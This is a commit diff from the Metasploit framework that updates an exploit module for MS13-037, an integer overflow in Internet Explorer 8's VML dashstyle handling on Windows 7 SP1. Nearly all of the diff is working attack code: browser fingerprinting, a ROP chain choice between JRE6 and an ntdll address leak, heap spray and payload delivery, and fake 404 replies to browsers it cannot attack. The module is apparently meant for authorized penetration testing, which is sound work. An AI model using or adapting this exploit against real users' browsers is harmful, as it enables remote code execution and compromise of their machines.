Skip to content

Commit 465b4a5

Browse files
committed
Land rapid7#4652, @wchen-r7's ms13-037 svg exploit update to use BES
2 parents b030327 + ffd1257 commit 465b4a5

File tree

1 file changed

+65
-76
lines changed

1 file changed

+65
-76
lines changed

modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

Lines changed: 65 additions & 76 deletions
Original file line numberDiff line numberDiff line change
@@ -8,38 +8,37 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

11-
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Exploit::Remote::BrowserExploitServer
1212
include Msf::Exploit::RopDb
13-
#include Msf::Exploit::Remote::BrowserAutopwn
14-
15-
#autopwn_info({
16-
# :ua_name => HttpClients::IE,
17-
# :ua_minver => "8.0",
18-
# :ua_maxver => "8.0",
19-
# :javascript => true,
20-
# :os_name => OperatingSystems::Match::WINDOWS,
21-
# :rank => Rank
22-
#})
23-
2413

2514
def initialize(info={})
2615
super(update_info(info,
2716
'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
2817
'Description' => %q{
2918
This module exploits an integer overflow vulnerability on Internet Explorer.
3019
The vulnerability exists in the handling of the dashstyle.array length for vml
31-
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
32-
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
33-
to use an info leak to disclose the ntdll.dll base address is provided. This target
34-
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
35-
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
20+
shapes on the vgx.dll module.
21+
22+
The exploit has been built and tested specifically against Windows 7 SP1 with
23+
Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
24+
bypass ASLR, and by default the info leak is used. To make sure the leak is
25+
successful, the ntdll version should be either v6.1.7601.17514 (the default dll
26+
version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725
27+
(installed after apply MS12-001). If the target doesn't have the version the exploit
28+
wants, it will refuse to attack by sending a fake 404 message (webpage not found).
29+
30+
If you wish to try the JRE6 component instead to bypass ASLR, you can set the
31+
advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
32+
have this particular component, the exploit will also refuse to attack by
33+
sending a 404 message.
3634
},
3735
'License' => MSF_LICENSE,
3836
'Author' =>
3937
[
4038
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
41-
'4B5F5F4B', # PoC
42-
'juan vazquez' # Metasploit module
39+
'4B5F5F4B', # PoC
40+
'juan vazquez', # Metasploit module
41+
'sinn3r' # BES upgrade
4342
],
4443
'References' =>
4544
[
@@ -61,23 +60,21 @@ def initialize(info={})
6160
'InitialAutoRunScript' => 'migrate -f'
6261
},
6362
'Platform' => 'win',
63+
'Arch' => ARCH_X86,
64+
'BrowserRequirements' =>
65+
{
66+
:source => /script/i,
67+
:os_name => OperatingSystems::Match::WINDOWS_7,
68+
:ua_name => HttpClients::IE,
69+
:ua_ver => '8.0',
70+
},
6471
'Targets' =>
6572
[
66-
[ 'Automatic', {} ],
67-
[ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
68-
{
69-
'Rop' => :jre,
70-
'Offset' => '0x5f4'
71-
}
72-
],
73-
# requires:
74-
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
75-
# * ntdll.dll v6.1.7601.17725 (MS12-001)
76-
[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
77-
{
78-
'Rop' => :ntdll,
79-
'Offset' => '0x5f4'
80-
}
73+
[
74+
'IE 8 on Windows 7 SP1',
75+
{
76+
'Offset' => '0x5f4'
77+
}
8178
]
8279
],
8380
'Privileged' => false,
@@ -89,40 +86,20 @@ def initialize(info={})
8986
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
9087
], self.class)
9188

89+
register_advanced_options(
90+
[
91+
# ntdll requires:
92+
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
93+
# * ntdll.dll v6.1.7601.17725 (MS12-001)
94+
OptEnum.new('ROP', [true, 'The type of ROP to use (JRE6 or leak NTDLL)', 'NTDLL', ['JRE6', 'NTDLL'] ])
95+
], self.class)
9296
end
9397

9498
def exploit
95-
@second_stage_url = rand_text_alpha(10)
99+
@second_stage_url = "#{get_module_resource}#{rand_text_alpha(10)}".chomp
96100
@leak_param = rand_text_alpha(5)
97-
super
98-
end
99-
100-
def get_target(agent)
101-
#If the user is already specified by the user, we'll just use that
102-
return target if target.name != 'Automatic'
103101

104-
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
105-
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
106-
107-
ie_name = "IE #{ie}"
108-
109-
case nt
110-
when '5.1'
111-
os_name = 'Windows XP SP3'
112-
when '6.0'
113-
os_name = 'Windows Vista'
114-
when '6.1'
115-
os_name = 'Windows 7'
116-
end
117-
118-
targets.each do |t|
119-
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
120-
print_status("Target selected as: #{t.name}")
121-
return t
122-
end
123-
end
124-
125-
return nil
102+
super
126103
end
127104

128105
def ie_heap_spray(my_target, p)
@@ -204,10 +181,10 @@ def get_ntdll_rop
204181
def get_payload(t, cli)
205182
code = payload.encoded
206183
# No rop. Just return the payload.
207-
return code if t['Rop'].nil?
184+
return code if t.opts['Rop'].nil?
208185

209186
# Both ROP chains generated by mona.py - See corelan.be
210-
case t['Rop']
187+
case t.opts['Rop']
211188
when :jre
212189
print_status("Using JRE ROP")
213190
stack_pivot = [
@@ -383,20 +360,32 @@ def html_info_leak
383360

384361
end
385362

386-
def on_request_uri(cli, request)
387-
agent = request.headers['User-Agent']
388-
uri = request.uri
389-
print_status("Requesting: #{uri}")
363+
def set_rop(t, rop, info)
364+
case rop
365+
when /^ntdll$/i
366+
t.opts['Rop'] = :ntdll
367+
when /^jre6$/i
368+
if info[:java] !~ /1\.6|6\.0/
369+
raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack"
370+
end
371+
372+
t.opts['Rop'] = :jre
373+
end
374+
375+
return t
376+
end
390377

391-
my_target = get_target(agent)
392-
# Avoid the attack if no suitable target found
393-
if my_target.nil?
394-
print_error("Browser not supported, sending 404: #{agent}")
378+
def on_request_exploit(cli, request, target_info)
379+
begin
380+
my_target = set_rop(get_target, datastore['ROP'], target_info)
381+
rescue RuntimeError => e
382+
# This one is just a warning, because it's a requirement check so it's not that scary.
383+
print_warning(e.message)
395384
send_not_found(cli)
396385
return
397386
end
398387

399-
if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
388+
if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
400389
html = html_info_leak
401390
print_status("Sending HTML to info leak...")
402391
send_response(cli, html, {'Content-Type'=>'text/html'})
@@ -414,7 +403,7 @@ def on_request_uri(cli, request)
414403
return
415404
end
416405

417-
vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
406+
print_status("ntdll leak: 0x#{leak.to_s(16)}")
418407
fingerprint = leak & 0x0000ffff
419408

420409
case fingerprint
@@ -425,7 +414,7 @@ def on_request_uri(cli, request)
425414
@ntdll_version = "6.1.7601.17725" # MS12-001
426415
@ntdll_base = leak - 0x47090
427416
else
428-
print_error("ntdll version not detected, sending 404: #{agent}")
417+
print_warning("ntdll version not detected, sending 404: #{agent}")
429418
send_not_found(cli)
430419
return
431420
end

0 commit comments

Comments
 (0)